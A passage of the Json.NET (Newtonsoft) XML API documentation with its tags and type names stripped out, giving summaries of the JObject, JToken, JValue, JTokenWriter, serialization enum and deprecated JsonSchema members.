will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + A that contains the JSON that was read from the specified . + + + + Represents a token that can contain other tokens. + + + + + Occurs when the items list of the collection has changed, or the collection is reset. + + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Raises the event. + + The instance containing the event data. + + + + Gets a value indicating whether this token has child tokens. + + + true if this token has child values; otherwise, false. + + + + + Get the first child token of this token. + + + A containing the first child token of the . + + + + + Get the last child token of this token. + + + A containing the last child token of the . + + + + + Returns a collection of the child tokens of this token, in document order. + + + An of containing the child tokens of this , in document order. + + + + + Returns a collection of the child values of this token, in document order. + + The type to convert the values to. + + A containing the child values of this , in document order. + + + + + Returns a collection of the descendant tokens for this token in document order. + + An of containing the descendant tokens of the . + + + + Returns a collection of the tokens that contain this token, and all descendant tokens of this token, in document order. + + An of containing this token, and all the descendant tokens of the . + + + + Adds the specified content as children of this . + + The content to be added. + + + + Adds the specified content as the first children of this . + + The content to be added. + + + + Creates a that can be used to add tokens to the . + + A that is ready to have content written to it. + + + + Replaces the child nodes of this token with the specified content. + + The content. + + + + Removes the child nodes from this token. + + + + + Merge the specified content into this . + + The content to be merged. + + + + Merge the specified content into this using . + + The content to be merged. + The used to merge the content. + + + + Gets the count of child JSON tokens. + + The count of child JSON tokens. + + + + Represents a collection of objects. + + The type of token. + + + + An empty collection of objects. + + + + + Initializes a new instance of the struct. + + The enumerable. + + + + Returns an enumerator that can be used to iterate through the collection. + + + A that can be used to iterate through the collection. + + + + + Gets the of with the specified key. + + + + + + Determines whether the specified is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + + Determines whether the specified is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Represents a JSON object. + + + + + + + + Writes this token to a asynchronously. + + A into which this method will write. + The token to monitor for cancellation requests. + A collection of which will be used when writing the token. + A that represents the asynchronous write operation. + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous load. The + property returns a that contains the JSON that was read from the specified . + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous load. The + property returns a that contains the JSON that was read from the specified . + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Occurs when a property value changes. + + + + + Occurs when a property value is changing. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class with the specified content. + + The contents of the object. + + + + Initializes a new instance of the class with the specified content. + + The contents of the object. + + + + Gets the node type for this . + + The type. + + + + Gets an of of this object's properties. + + An of of this object's properties. + + + + Gets a with the specified name. + + The property name. + A with the specified name or null. + + + + Gets the with the specified name. + The exact name will be searched for first and if no matching property is found then + the will be used to match a property. + + The property name. + One of the enumeration values that specifies how the strings will be compared. + A matched with the specified name or null. + + + + Gets a of of this object's property values. + + A of of this object's property values. + + + + Gets the with the specified key. + + The with the specified key. + + + + Gets or sets the with the specified property name. + + + + + + Loads a from a . + + A that will be read for the content of the . + A that contains the JSON that was read from the specified . + + is not valid JSON. + + + + + Loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + A that contains the JSON that was read from the specified . + + is not valid JSON. + + + + + Load a from a string that contains JSON. + + A that contains JSON. + A populated from the string that contains JSON. + + is not valid JSON. + + + + + + + + Load a from a string that contains JSON. + + A that contains JSON. + The used to load the JSON. + If this is null, default load settings will be used. + A populated from the string that contains JSON. + + is not valid JSON. + + + + + + + + Creates a from an object. + + The object that will be used to create . + A with the values of the specified object. + + + + Creates a from an object. + + The object that will be used to create . + The that will be used to read the object. + A with the values of the specified object. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Gets the with the specified property name. + + Name of the property. + The with the specified property name. + + + + Gets the with the specified property name. + The exact property name will be searched for first and if no matching property is found then + the will be used to match a property. + + Name of the property. + One of the enumeration values that specifies how the strings will be compared. + The with the specified property name. + + + + Tries to get the with the specified property name. + The exact property name will be searched for first and if no matching property is found then + the will be used to match a property. + + Name of the property. + The value. + One of the enumeration values that specifies how the strings will be compared. + true if a value was successfully retrieved; otherwise, false. + + + + Adds the specified property name. + + Name of the property. + The value. + + + + Determines whether the JSON object has the specified property name. + + Name of the property. + true if the JSON object has the specified property name; otherwise, false. + + + + Removes the property with the specified name. + + Name of the property. + true if item was successfully removed; otherwise, false. + + + + Tries to get the with the specified property name. + + Name of the property. + The value. + true if a value was successfully retrieved; otherwise, false. + + + + Returns an enumerator that can be used to iterate through the collection. + + + A that can be used to iterate through the collection. + + + + + Raises the event with the provided arguments. + + Name of the property. + + + + Raises the event with the provided arguments. + + Name of the property. + + + + Returns the responsible for binding operations performed on this object. + + The expression tree representation of the runtime value. + + The to bind this object. + + + + + Represents a JSON property. + + + + + Writes this token to a asynchronously. + + A into which this method will write. + The token to monitor for cancellation requests. + A collection of which will be used when writing the token. + A that represents the asynchronous write operation. + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + The token to monitor for cancellation requests. The default value is . + A representing the asynchronous creation. The + property returns a that contains the JSON that was read from the specified . + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + The token to monitor for cancellation requests. The default value is . + A representing the asynchronous creation. The + property returns a that contains the JSON that was read from the specified . + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Gets the property name. + + The property name. + + + + Gets or sets the property value. + + The property value. + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Gets the node type for this . + + The type. + + + + Initializes a new instance of the class. + + The property name. + The property content. + + + + Initializes a new instance of the class. + + The property name. + The property content. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Loads a from a . + + A that will be read for the content of the . + A that contains the JSON that was read from the specified . + + + + Loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + A that contains the JSON that was read from the specified . + + + + Represents a raw JSON string. + + + + + Asynchronously creates an instance of with the content of the reader's current token. + + The reader. + The token to monitor for cancellation requests. The default value is . + A representing the asynchronous creation. The + property returns an instance of with the content of the reader's current token. + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class. + + The raw json. + + + + Creates an instance of with the content of the reader's current token. + + The reader. + An instance of with the content of the reader's current token. + + + + Specifies the settings used when cloning JSON. + + + + + Initializes a new instance of the class. + + + + + Gets or sets a flag that indicates whether to copy annotations when cloning a . + The default value is true. + + + A flag that indicates whether to copy annotations when cloning a . + + + + + Specifies the settings used when loading JSON. + + + + + Initializes a new instance of the class. + + + + + Gets or sets how JSON comments are handled when loading JSON. + The default value is . + + The JSON comment handling. + + + + Gets or sets how JSON line info is handled when loading JSON. + The default value is . + + The JSON line info handling. + + + + Gets or sets how duplicate property names in JSON objects are handled when loading JSON. + The default value is . + + The JSON duplicate property name handling. + + + + Specifies the settings used when merging JSON. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the method used when merging JSON arrays. + + The method used when merging JSON arrays. + + + + Gets or sets how null value properties are merged. + + How null value properties are merged. + + + + Gets or sets the comparison used to match property names while merging. + The exact property name will be searched for first and if no matching property is found then + the will be used to match a property. + + The comparison used to match property names while merging. + + + + Specifies the settings used when selecting JSON. + + + + + Gets or sets a timeout that will be used when executing regular expressions. + + The timeout that will be used when executing regular expressions. + + + + Gets or sets a flag that indicates whether an error should be thrown if + no tokens are found when evaluating part of the expression. + + + A flag that indicates whether an error should be thrown if + no tokens are found when evaluating part of the expression. + + + + + Represents an abstract JSON token. + + + + + Writes this token to a asynchronously. + + A into which this method will write. + The token to monitor for cancellation requests. + A collection of which will be used when writing the token. + A that represents the asynchronous write operation. + + + + Writes this token to a asynchronously. + + A into which this method will write. + A collection of which will be used when writing the token. + A that represents the asynchronous write operation. + + + + Asynchronously creates a from a . + + An positioned at the token to read into this . + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous creation. The + property returns a that contains + the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Asynchronously creates a from a . + + An positioned at the token to read into this . + The used to load the JSON. + If this is null, default load settings will be used. + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous creation. The + property returns a that contains + the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Asynchronously creates a from a . + + A positioned at the token to read into this . + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous creation. The + property returns a that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Asynchronously creates a from a . + + A positioned at the token to read into this . + The used to load the JSON. + If this is null, default load settings will be used. + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous creation. The + property returns a that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Gets a comparer that can compare two tokens for value equality. + + A that can compare two nodes for value equality. + + + + Gets or sets the parent. + + The parent. + + + + Gets the root of this . + + The root of this . + + + + Gets the node type for this . + + The type. + + + + Gets a value indicating whether this token has child tokens. + + + true if this token has child values; otherwise, false. + + + + + Compares the values of two tokens, including the values of all descendant tokens. + + The first to compare. + The second to compare. + true if the tokens are equal; otherwise false. + + + + Gets the next sibling token of this node. + + The that contains the next sibling token. + + + + Gets the previous sibling token of this node. + + The that contains the previous sibling token. + + + + Gets the path of the JSON token. + + + + + Adds the specified content immediately after this token. + + A content object that contains simple content or a collection of content objects to be added after this token. + + + + Adds the specified content immediately before this token. + + A content object that contains simple content or a collection of content objects to be added before this token. + + + + Returns a collection of the ancestor tokens of this token. + + A collection of the ancestor tokens of this token. + + + + Returns a collection of tokens that contain this token, and the ancestors of this token. + + A collection of tokens that contain this token, and the ancestors of this token. + + + + Returns a collection of the sibling tokens after this token, in document order. + + A collection of the sibling tokens after this tokens, in document order. + + + + Returns a collection of the sibling tokens before this token, in document order. + + A collection of the sibling tokens before this token, in document order. + + + + Gets the with the specified key. + + The with the specified key. + + + + Gets the with the specified key converted to the specified type. + + The type to convert the token to. + The token key. + The converted token value. + + + + Get the first child token of this token. + + A containing the first child token of the . + + + + Get the last child token of this token. + + A containing the last child token of the . + + + + Returns a collection of the child tokens of this token, in document order. + + An of containing the child tokens of this , in document order. + + + + Returns a collection of the child tokens of this token, in document order, filtered by the specified type. + + The type to filter the child tokens on. + A containing the child tokens of this , in document order. + + + + Returns a collection of the child values of this token, in document order. + + The type to convert the values to. + A containing the child values of this , in document order. + + + + Removes this token from its parent. + + + + + Replaces this token with the specified token. + + The value. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Returns the indented JSON for this token. + + + ToString() returns a non-JSON string value for tokens with a type of . + If you want the JSON for all token types then you should use . + + + The indented JSON for this token. + + + + + Returns the JSON for this token using the given formatting and converters. + + Indicates how the output should be formatted. + A collection of s which will be used when writing the token. + The JSON for this token using the given formatting and converters. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to []. + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from [] to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Creates a for this token. + + A that can be used to read this token and its descendants. + + + + Creates a from an object. + + The object that will be used to create . + A with the value of the specified object. + + + + Creates a from an object using the specified . + + The object that will be used to create . + The that will be used when reading the object. + A with the value of the specified object. + + + + Creates an instance of the specified .NET type from the . + + The object type that the token will be deserialized to. + The new object created from the JSON value. + + + + Creates an instance of the specified .NET type from the . + + The object type that the token will be deserialized to. + The new object created from the JSON value. + + + + Creates an instance of the specified .NET type from the using the specified . + + The object type that the token will be deserialized to. + The that will be used when creating the object. + The new object created from the JSON value. + + + + Creates an instance of the specified .NET type from the using the specified . + + The object type that the token will be deserialized to. + The that will be used when creating the object. + The new object created from the JSON value. + + + + Creates a from a . + + A positioned at the token to read into this . + + A that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Creates a from a . + + An positioned at the token to read into this . + The used to load the JSON. + If this is null, default load settings will be used. + + A that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Load a from a string that contains JSON. + + A that contains JSON. + A populated from the string that contains JSON. + + + + Load a from a string that contains JSON. + + A that contains JSON. + The used to load the JSON. + If this is null, default load settings will be used. + A populated from the string that contains JSON. + + + + Creates a from a . + + A positioned at the token to read into this . + The used to load the JSON. + If this is null, default load settings will be used. + + A that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Creates a from a . + + A positioned at the token to read into this . + + A that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Selects a using a JSONPath expression. Selects the token that matches the object path. + + + A that contains a JSONPath expression. + + A , or null. + + + + Selects a using a JSONPath expression. Selects the token that matches the object path. + + + A that contains a JSONPath expression. + + A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. + A . + + + + Selects a using a JSONPath expression. Selects the token that matches the object path. + + + A that contains a JSONPath expression. + + The used to select tokens. + A . + + + + Selects a collection of elements using a JSONPath expression. + + + A that contains a JSONPath expression. + + An of that contains the selected elements. + + + + Selects a collection of elements using a JSONPath expression. + + + A that contains a JSONPath expression. + + A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. + An of that contains the selected elements. + + + + Selects a collection of elements using a JSONPath expression. + + + A that contains a JSONPath expression. + + The used to select tokens. + An of that contains the selected elements. + + + + Returns the responsible for binding operations performed on this object. + + The expression tree representation of the runtime value. + + The to bind this object. + + + + + Returns the responsible for binding operations performed on this object. + + The expression tree representation of the runtime value. + + The to bind this object. + + + + + Creates a new instance of the . All child tokens are recursively cloned. + + A new instance of the . + + + + Creates a new instance of the . All child tokens are recursively cloned. + + A object to configure cloning settings. + A new instance of the . + + + + Adds an object to the annotation list of this . + + The annotation to add. + + + + Get the first annotation object of the specified type from this . + + The type of the annotation to retrieve. + The first annotation object that matches the specified type, or null if no annotation is of the specified type. + + + + Gets the first annotation object of the specified type from this . + + The of the annotation to retrieve. + The first annotation object that matches the specified type, or null if no annotation is of the specified type. + + + + Gets a collection of annotations of the specified type for this . + + The type of the annotations to retrieve. + An that contains the annotations for this . + + + + Gets a collection of annotations of the specified type for this . + + The of the annotations to retrieve. + An of that contains the annotations that match the specified type for this . + + + + Removes the annotations of the specified type from this . + + The type of annotations to remove. + + + + Removes the annotations of the specified type from this . + + The of annotations to remove. + + + + Compares tokens to determine whether they are equal. + + + + + Determines whether the specified objects are equal. + + The first object of type to compare. + The second object of type to compare. + + true if the specified objects are equal; otherwise, false. + + + + + Returns a hash code for the specified object. + + The for which a hash code is to be returned. + A hash code for the specified object. + The type of is a reference type and is null. + + + + Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. + + + + + Gets the at the reader's current position. + + + + + Initializes a new instance of the class. + + The token to read from. + + + + Initializes a new instance of the class. + + The token to read from. + The initial path of the token. It is prepended to the returned . + + + + Reads the next JSON token from the underlying . + + + true if the next token was read successfully; false if there are no more tokens to read. + + + + + Gets the path of the current JSON token. + + + + + Specifies the type of token. + + + + + No token type has been set. + + + + + A JSON object. + + + + + A JSON array. + + + + + A JSON constructor. + + + + + A JSON object property. + + + + + A comment. + + + + + An integer value. + + + + + A float value. + + + + + A string value. + + + + + A boolean value. + + + + + A null value. + + + + + An undefined value. + + + + + A date value. + + + + + A raw JSON value. + + + + + A collection of bytes value. + + + + + A Guid value. + + + + + A Uri value. + + + + + A TimeSpan value. + + + + + Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. + + + + + Gets the at the writer's current position. + + + + + Gets the token being written. + + The token being written. + + + + Initializes a new instance of the class writing to the given . + + The container being written to. + + + + Initializes a new instance of the class. + + + + + Flushes whatever is in the buffer to the underlying . + + + + + Closes this writer. + If is set to true, the JSON is auto-completed. + + + Setting to true has no additional effect, since the underlying is a type that cannot be closed. + + + + + Writes the beginning of a JSON object. + + + + + Writes the beginning of a JSON array. + + + + + Writes the start of a constructor with the given name. + + The name of the constructor. + + + + Writes the end. + + The token. + + + + Writes the property name of a name/value pair on a JSON object. + + The name of the property. + + + + Writes a value. + An error will be raised if the value cannot be written as a single JSON token. + + The value to write. + + + + Writes a null value. + + + + + Writes an undefined value. + + + + + Writes raw JSON. + + The raw JSON to write. + + + + Writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a [] value. + + The [] value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Represents a value in JSON (string, integer, date, etc). + + + + + Writes this token to a asynchronously. + + A into which this method will write. + The token to monitor for cancellation requests. + A collection of which will be used when writing the token. + A that represents the asynchronous write operation. + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Gets a value indicating whether this token has child tokens. + + + true if this token has child values; otherwise, false. + + + + + Creates a comment with the given value. + + The value. + A comment with the given value. + + + + Creates a string with the given value. + + The value. + A string with the given value. + + + + Creates a null value. + + A null value. + + + + Creates a undefined value. + + A undefined value. + + + + Gets the node type for this . + + The type. + + + + Gets or sets the underlying token value. + + The underlying token value. + + + + Writes this token to a . + + A into which this method will write. + A collection of s which will be used when writing the token. + + + + Indicates whether the current object is equal to another object of the same type. + + + true if the current object is equal to the parameter; otherwise, false. + + An object to compare with this object. + + + + Determines whether the specified is equal to the current . + + The to compare with the current . + + true if the specified is equal to the current ; otherwise, false. + + + + + Serves as a hash function for a particular type. + + + A hash code for the current . + + + + + Returns a that represents this instance. + + + ToString() returns a non-JSON string value for tokens with a type of . + If you want the JSON for all token types then you should use . + + + A that represents this instance. + + + + + Returns a that represents this instance. + + The format. + + A that represents this instance. + + + + + Returns a that represents this instance. + + The format provider. + + A that represents this instance. + + + + + Returns a that represents this instance. + + The format. + The format provider. + + A that represents this instance. + + + + + Returns the responsible for binding operations performed on this object. + + The expression tree representation of the runtime value. + + The to bind this object. + + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has these meanings: + Value + Meaning + Less than zero + This instance is less than . + Zero + This instance is equal to . + Greater than zero + This instance is greater than . + + + is not of the same type as this instance. + + + + + Specifies how line information is handled when loading JSON. + + + + + Ignore line information. + + + + + Load line information. + + + + + Specifies how JSON arrays are merged together. + + + + Concatenate arrays. + + + Union arrays, skipping items that already exist. + + + Replace all array items. + + + Merge array items together, matched by index. + + + + Specifies how null value properties are merged. + + + + + The content's null value properties will be ignored during merging. + + + + + The content's null value properties will be merged. + + + + + Specifies the member serialization options for the . + + + + + All public members are serialized by default. Members can be excluded using or . + This is the default member serialization mode. + + + + + Only members marked with or are serialized. + This member serialization mode can also be set by marking the class with . + + + + + All public and private fields are serialized. Members can be excluded using or . + This member serialization mode can also be set by marking the class with + and setting IgnoreSerializableAttribute on to false. + + + + + Specifies metadata property handling options for the . + + + + + Read metadata properties located at the start of a JSON object. + + + + + Read metadata properties located anywhere in a JSON object. Note that this setting will impact performance. + + + + + Do not try to read metadata properties. + + + + + Specifies missing member handling options for the . + + + + + Ignore a missing member and do not attempt to deserialize it. + + + + + Throw a when a missing member is encountered during deserialization. + + + + + Specifies null value handling options for the . + + + + + + + + + Include null values when serializing and deserializing objects. + + + + + Ignore null values when serializing and deserializing objects. + + + + + Specifies how object creation is handled by the . + + + + + Reuse existing objects, create new objects when needed. + + + + + Only reuse existing objects. + + + + + Always create new objects. + + + + + Specifies reference handling options for the . + Note that references cannot be preserved when a value is set via a non-default constructor such as types that implement . + + + + + + + + Do not preserve references when serializing types. + + + + + Preserve references when serializing into a JSON object structure. + + + + + Preserve references when serializing into a JSON array structure. + + + + + Preserve references when serializing. + + + + + Specifies reference loop handling options for the . + + + + + Throw a when a loop is encountered. + + + + + Ignore loop references and do not serialize. + + + + + Serialize loop references. + + + + + Indicating whether a property is required. + + + + + The property is not required. The default state. + + + + + The property must be defined in JSON but can be a null value. + + + + + The property must be defined in JSON and cannot be a null value. + + + + + The property is not required but it cannot be a null value. + + + + + + Contains the JSON schema extension methods. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + + Determines whether the is valid. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + The source to test. + The schema to test with. + + true if the specified is valid; otherwise, false. + + + + + + Determines whether the is valid. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + The source to test. + The schema to test with. + When this method returns, contains any error messages generated while validating. + + true if the specified is valid; otherwise, false. + + + + + + Validates the specified . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + The source to test. + The schema to test with. + + + + + Validates the specified . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + The source to test. + The schema to test with. + The validation event handler. + + + + + An in-memory representation of a JSON Schema. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets or sets the id. + + + + + Gets or sets the title. + + + + + Gets or sets whether the object is required. + + + + + Gets or sets whether the object is read-only. + + + + + Gets or sets whether the object is visible to users. + + + + + Gets or sets whether the object is transient. + + + + + Gets or sets the description of the object. + + + + + Gets or sets the types of values allowed by the object. + + The type. + + + + Gets or sets the pattern. + + The pattern. + + + + Gets or sets the minimum length. + + The minimum length. + + + + Gets or sets the maximum length. + + The maximum length. + + + + Gets or sets a number that the value should be divisible by. + + A number that the value should be divisible by. + + + + Gets or sets the minimum. + + The minimum. + + + + Gets or sets the maximum. + + The maximum. + + + + Gets or sets a flag indicating whether the value can not equal the number defined by the minimum attribute (). + + A flag indicating whether the value can not equal the number defined by the minimum attribute (). + + + + Gets or sets a flag indicating whether the value can not equal the number defined by the maximum attribute (). + + A flag indicating whether the value can not equal the number defined by the maximum attribute (). + + + + Gets or sets the minimum number of items. + + The minimum number of items. + + + + Gets or sets the maximum number of items. + + The maximum number of items. + + + + Gets or sets the of items. + + The of items. + + + + Gets or sets a value indicating whether items in an array are validated using the instance at their array position from . + + + true if items are validated using their array position; otherwise, false. + + + + + Gets or sets the of additional items. + + The of additional items. + + + + Gets or sets a value indicating whether additional items are allowed. + + + true if additional items are allowed; otherwise, false. + + + + + Gets or sets whether the array items must be unique. + + + + + Gets or sets the of properties. + + The of properties. + + + + Gets or sets the of additional properties. + + The of additional properties. + + + + Gets or sets the pattern properties. + + The pattern properties. + + + + Gets or sets a value indicating whether additional properties are allowed. + + + true if additional properties are allowed; otherwise, false. + + + + + Gets or sets the required property if this property is present. + + The required property if this property is present. + + + + Gets or sets the a collection of valid enum values allowed. + + A collection of valid enum values allowed. + + + + Gets or sets disallowed types. + + The disallowed types. + + + + Gets or sets the default value. + + The default value. + + + + Gets or sets the collection of that this schema extends. + + The collection of that this schema extends. + + + + Gets or sets the format. + + The format. + + + + Initializes a new instance of the class. + + + + + Reads a from the specified . + + The containing the JSON Schema to read. + The object representing the JSON Schema. + + + + Reads a from the specified . + + The containing the JSON Schema to read. + The to use when resolving schema references. + The object representing the JSON Schema. + + + + Load a from a string that contains JSON Schema. + + A that contains JSON Schema. + A populated from the string that contains JSON Schema. + + + + Load a from a string that contains JSON Schema using the specified . + + A that contains JSON Schema. + The resolver. + A populated from the string that contains JSON Schema. + + + + Writes this schema to a . + + A into which this method will write. + + + + Writes this schema to a using the specified . + + A into which this method will write. + The resolver used. + + + + Returns a that represents 